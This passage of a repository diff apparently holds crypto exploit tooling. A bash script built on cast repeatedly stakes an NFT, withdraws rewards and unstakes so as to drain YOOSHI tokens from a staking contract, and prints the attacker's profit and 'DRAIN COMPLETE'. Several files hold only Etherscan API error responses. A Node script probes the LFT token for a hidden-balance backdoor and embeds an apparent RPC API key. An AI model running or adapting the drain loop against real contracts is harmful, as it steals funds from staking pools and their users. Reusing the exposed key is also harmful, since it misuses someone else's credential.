echo "--- CYCLE $i/$CYCLES ---"
|
|
80
|
+
|
|
81
|
+
# Get current balance
|
|
82
|
+
BAL_BEFORE=$(cast call $YOOSHI_TOKEN "balanceOf(address)(uint256)" $ATTACKER --rpc-url $RPC_URL)
|
|
83
|
+
|
|
84
|
+
# STEP 1: Stake NFT (via safeTransferFrom with slotId=1 encoded as data)
|
|
85
|
+
echo " [1/2] Staking NFT..."
|
|
86
|
+
# Encode slotId=1 as bytes
|
|
87
|
+
SLOT_DATA=$(cast abi-encode "f(uint256)" 1)
|
|
88
|
+
|
|
89
|
+
STAKE_TX=$(cast send $NFT_CONTRACT "safeTransferFrom(address,address,uint256,bytes)" \
|
|
90
|
+
$ATTACKER $STAKING_CONTRACT $NFT_TOKEN_ID $SLOT_DATA \
|
|
91
|
+
--private-key $PRIVATE_KEY \
|
|
92
|
+
--rpc-url $RPC_URL \
|
|
93
|
+
--json)
|
|
94
|
+
|
|
95
|
+
STAKE_HASH=$(echo $STAKE_TX | jq -r '.transactionHash')
|
|
96
|
+
echo " Tx: $STAKE_HASH"
|
|
97
|
+
|
|
98
|
+
# Wait for stake confirmation
|
|
99
|
+
cast receipt $STAKE_HASH --rpc-url $RPC_URL > /dev/null
|
|
100
|
+
echo " Confirmed ✓"
|
|
101
|
+
|
|
102
|
+
# STEP 2: Withdraw rewards
|
|
103
|
+
echo " [2/3] Withdrawing rewards..."
|
|
104
|
+
WITHDRAW_TX=$(cast send $STAKING_CONTRACT "withdraw()" \
|
|
105
|
+
--private-key $PRIVATE_KEY \
|
|
106
|
+
--rpc-url $RPC_URL \
|
|
107
|
+
--json)
|
|
108
|
+
|
|
109
|
+
WITHDRAW_HASH=$(echo $WITHDRAW_TX | jq -r '.transactionHash')
|
|
110
|
+
echo " Tx: $WITHDRAW_HASH"
|
|
111
|
+
|
|
112
|
+
# Wait for withdraw confirmation
|
|
113
|
+
cast receipt $WITHDRAW_HASH --rpc-url $RPC_URL > /dev/null
|
|
114
|
+
echo " Confirmed ✓"
|
|
115
|
+
|
|
116
|
+
# STEP 3: Unstake NFT (to prepare for next cycle)
|
|
117
|
+
echo " [3/3] Unstaking NFT..."
|
|
118
|
+
UNSTAKE_TX=$(cast send $STAKING_CONTRACT "unstake(uint256)" 1 \
|
|
119
|
+
--private-key $PRIVATE_KEY \
|
|
120
|
+
--rpc-url $RPC_URL \
|
|
121
|
+
--json)
|
|
122
|
+
|
|
123
|
+
UNSTAKE_HASH=$(echo $UNSTAKE_TX | jq -r '.transactionHash')
|
|
124
|
+
echo " Tx: $UNSTAKE_HASH"
|
|
125
|
+
|
|
126
|
+
# Wait for unstake confirmation
|
|
127
|
+
cast receipt $UNSTAKE_HASH --rpc-url $RPC_URL > /dev/null
|
|
128
|
+
echo " Confirmed ✓"
|
|
129
|
+
|
|
130
|
+
# Calculate profit
|
|
131
|
+
BAL_AFTER=$(cast call $YOOSHI_TOKEN "balanceOf(address)(uint256)" $ATTACKER --rpc-url $RPC_URL)
|
|
132
|
+
PROFIT=$((BAL_AFTER - BAL_BEFORE))
|
|
133
|
+
TOTAL_PROFIT=$((TOTAL_PROFIT + PROFIT))
|
|
134
|
+
|
|
135
|
+
echo " Profit: $(echo "scale=2; $PROFIT / 1000000000" | bc) YOOSHI"
|
|
136
|
+
echo " Total profit: $(echo "scale=2; $TOTAL_PROFIT / 1000000000" | bc) YOOSHI"
|
|
137
|
+
echo ""
|
|
138
|
+
|
|
139
|
+
# Small delay to avoid rate limiting
|
|
140
|
+
sleep 1
|
|
141
|
+
done
|
|
142
|
+
|
|
143
|
+
# Final summary
|
|
144
|
+
echo "=========================================="
|
|
145
|
+
echo "DRAIN COMPLETE"
|
|
146
|
+
echo "=========================================="
|
|
147
|
+
FINAL_POOL=$(cast call $YOOSHI_TOKEN "balanceOf(address)(uint256)" $STAKING_CONTRACT --rpc-url $RPC_URL)
|
|
148
|
+
FINAL_ATTACKER=$(cast call $YOOSHI_TOKEN "balanceOf(address)(uint256)" $ATTACKER --rpc-url $RPC_URL)
|
|
149
|
+
|
|
150
|
+
echo "Final pool balance: $(echo "scale=2; $FINAL_POOL / 1000000000" | bc) YOOSHI"
|
|
151
|
+
echo "Final attacker balance: $(echo "scale=2; $FINAL_ATTACKER / 1000000000" | bc) YOOSHI"
|
|
152
|
+
echo "Total profit: $(echo "scale=2; $TOTAL_PROFIT / 1000000000" | bc) YOOSHI"
|
|
153
|
+
echo "Cycles completed: $CYCLES"
|
|
154
|
+
echo "=========================================="
|
package/shi_raw.json
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"status":"0","message":"NOTOK","result":"You are using a deprecated V1 endpoint, switch to Etherscan API V2 using https://docs.etherscan.io/v2-migration"}
|
package/temp.json
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"status":"0","message":"NOTOK","result":"You are using a deprecated V1 endpoint, switch to Etherscan API V2 using https://docs.etherscan.io/v2-migration"}
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"status":"0","message":"NOTOK","result":"You are using a deprecated V1 endpoint, switch to Etherscan API V2 using https://docs.etherscan.io/v2-migration"}
|
package/temp_pika.json
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"status":"0","message":"NOTOK","result":"You are using a deprecated V1 endpoint, switch to Etherscan API V2 using https://docs.etherscan.io/v2-migration"}
|
package/temp_posi.json
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"status":"0","message":"NOTOK","result":"You are using a deprecated V1 endpoint, switch to Etherscan API V2 using https://docs.etherscan.io/v2-migration"}
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"status":"0","message":"NOTOK","result":"You are using a deprecated V1 endpoint, switch to Etherscan API V2 using https://docs.etherscan.io/v2-migration"}
|
|
@@ -0,0 +1,108 @@
|
|
|
1
|
+
const { ethers } = require('ethers');
|
|
2
|
+
|
|
3
|
+
const provider = new ethers.providers.JsonRpcProvider('https://eth-mainnet.g.alchemy.com/v2/5IWkkFu-rS6plYHO9MLq-');
|
|
4
|
+
|
|
5
|
+
const LFT_TOKEN = '0xb620be8a1949aa9532e6a3510132864ef9bc3f82';
|
|
6
|
+
const HIDDEN_ADDR = '0x2caa8387030af8fd61c59eee88341dc590883496';
|
|
7
|
+
const UNISWAP_ROUTER = '0x7a250d5630b4cf539739df2c5dacb4c659f2488d';
|
|
8
|
+
const UNKNOWN_ADDR = '0x9c84f58bb51fabd18698efe95f5bab4f33e96e8f';
|
|
9
|
+
|
|
10
|
+
const ERC20_ABI = [
|
|
11
|
+
'function totalSupply() view returns (uint256)',
|
|
12
|
+
'function balanceOf(address) view returns (uint256)',
|
|
13
|
+
'function decimals() view returns (uint8)',
|
|
14
|
+
];
|
|
15
|
+
|
|
16
|
+
async function testHiddenBalance() {
|
|
17
|
+
console.log('=== LFT HIDDEN BALANCE MECHANISM TEST ===\n');
|
|
18
|
+
|
|
19
|
+
const lft = new ethers.Contract(LFT_TOKEN, ERC20_ABI, provider);
|
|
20
|
+
|
|
21
|
+
const totalSupply = await lft.totalSupply();
|
|
22
|
+
const decimals = await lft.decimals();
|
|
23
|
+
|
|
24
|
+
console.log('Token:', LFT_TOKEN);
|
|
25
|
+
console.log('Total Supply:', ethers.utils.formatUnits(totalSupply, decimals), 'LFT\n');
|
|
26
|
+
|
|
27
|
+
console.log('=== TESTING HIDDEN ADDRESS ===');
|
|
28
|
+
console.log('Address:', HIDDEN_ADDR, '\n');
|
|
29
|
+
|
|
30
|
+
// Test 1: Query from normal address (our provider)
|
|
31
|
+
console.log('Test 1: Query from normal address');
|
|
32
|
+
try {
|
|
33
|
+
const normalBalance = await lft.balanceOf(HIDDEN_ADDR);
|
|
34
|
+
console.log('Balance:', ethers.utils.formatUnits(normalBalance, decimals), 'LFT');
|
|
35
|
+
console.log('% of supply:', normalBalance.mul(10000).div(totalSupply).toNumber() / 100, '%\n');
|
|
36
|
+
} catch (e) {
|
|
37
|
+
console.log('Error:', e.message, '\n');
|
|
38
|
+
}
|
|
39
|
+
|
|
40
|
+
// Test 2: Query using staticCall with Uniswap Router as caller
|
|
41
|
+
console.log('Test 2: Query AS Uniswap Router (staticCall)');
|
|
42
|
+
try {
|
|
43
|
+
const routerBalance = await provider.call({
|
|
44
|
+
to: LFT_TOKEN,
|
|
45
|
+
from: UNISWAP_ROUTER,
|
|
46
|
+
data: lft.interface.encodeFunctionData('balanceOf', [HIDDEN_ADDR])
|
|
47
|
+
});
|
|
48
|
+
const decoded = lft.interface.decodeFunctionResult('balanceOf', routerBalance);
|
|
49
|
+
console.log('Balance:', ethers.utils.formatUnits(decoded[0], decimals), 'LFT');
|
|
50
|
+
console.log('% of supply:', decoded[0].mul(10000).div(totalSupply).toNumber() / 100, '%\n');
|
|
51
|
+
} catch (e) {
|
|
52
|
+
console.log('Error:', e.message, '\n');
|
|
53
|
+
}
|
|
54
|
+
|
|
55
|
+
// Test 3: Query using staticCall with unknown whitelisted address
|
|
56
|
+
console.log('Test 3: Query AS Unknown Whitelisted Address');
|
|
57
|
+
try {
|
|
58
|
+
const unknownBalance = await provider.call({
|
|
59
|
+
to: LFT_TOKEN,
|
|
60
|
+
from: UNKNOWN_ADDR,
|
|
61
|
+
data: lft.interface.encodeFunctionData('balanceOf', [HIDDEN_ADDR])
|
|
62
|
+
});
|
|
63
|
+
const decoded = lft.interface.decodeFunctionResult('balanceOf', unknownBalance);
|
|
64
|
+
console.log('Balance:', ethers.utils.formatUnits(decoded[0], decimals), 'LFT');
|
|
65
|
+
console.log('% of supply:', decoded[0].mul(10000).div(totalSupply).toNumber() / 100, '%\n');
|
|
66
|
+
} catch (e) {
|
|
67
|
+
console.log('Error:', e.message, '\n');
|
|
68
|
+
}
|
|
69
|
+
|
|
70
|
+
// Test 4: Query using staticCall with hidden address as caller
|
|
71
|
+
console.log('Test 4: Query AS Hidden Address Itself');
|
|
72
|
+
try {
|
|
73
|
+
const selfBalance = await provider.call({
|
|
74
|
+
to: LFT_TOKEN,
|
|
75
|
+
from: HIDDEN_ADDR,
|
|
76
|
+
data: lft.interface.encodeFunctionData('balanceOf', [HIDDEN_ADDR])
|
|
77
|
+
});
|
|
78
|
+
const decoded = lft.interface.decodeFunctionResult('balanceOf', selfBalance);
|
|
79
|
+
console.log('Balance:', ethers.utils.formatUnits(decoded[0], decimals), 'LFT');
|
|
80
|
+
console.log('% of supply:', decoded[0].mul(10000).div(totalSupply).toNumber() / 100, '%\n');
|
|
81
|
+
} catch (e) {
|
|
82
|
+
console.log('Error:', e.message, '\n');
|
|
83
|
+
}
|
|
84
|
+
|
|
85
|
+
// Test 5: Check actual top holders
|
|
86
|
+
console.log('=== CHECKING OTHER TOP HOLDERS ===\n');
|
|
87
|
+
|
|
88
|
+
const topHolders = [
|
|
89
|
+
{ name: 'Uniswap V2 Pair', address: '0x9ac8e58d6f1f2193249569330d5f5956250c711d' },
|
|
90
|
+
{ name: 'Address 2', address: '0x314af1c6e1fc0f9c0f8a0e0e8e88abe2dc811625' },
|
|
91
|
+
];
|
|
92
|
+
|
|
93
|
+
for (const holder of topHolders) {
|
|
94
|
+
const balance = await lft.balanceOf(holder.address);
|
|
95
|
+
console.log(`${holder.name}: ${holder.address}`);
|
|
96
|
+
console.log(`Balance: ${ethers.utils.formatUnits(balance, decimals)} LFT`);
|
|
97
|
+
console.log(`% of supply: ${balance.mul(10000).div(totalSupply).toNumber() / 100}%\n`);
|
|
98
|
+
}
|
|
99
|
+
|
|
100
|
+
console.log('=== ANALYSIS ===\n');
|
|
101
|
+
console.log('If Test 1 shows 0 but Tests 2-4 show non-zero:');
|
|
102
|
+
console.log(' [CONFIRMED] Hidden balance mechanism is ACTIVE');
|
|
103
|
+
console.log(' This is an INTENTIONAL backdoor for hidden token reserves\n');
|
|
104
|
+
console.log('If all tests show same value:');
|
|
105
|
+
console.log(' Hidden balance mechanism may have been removed or not active\n');
|
|
106
|
+
}
|
|
107
|
+
|
|
108
|
+
testHiddenBalance().catch(console.error);
|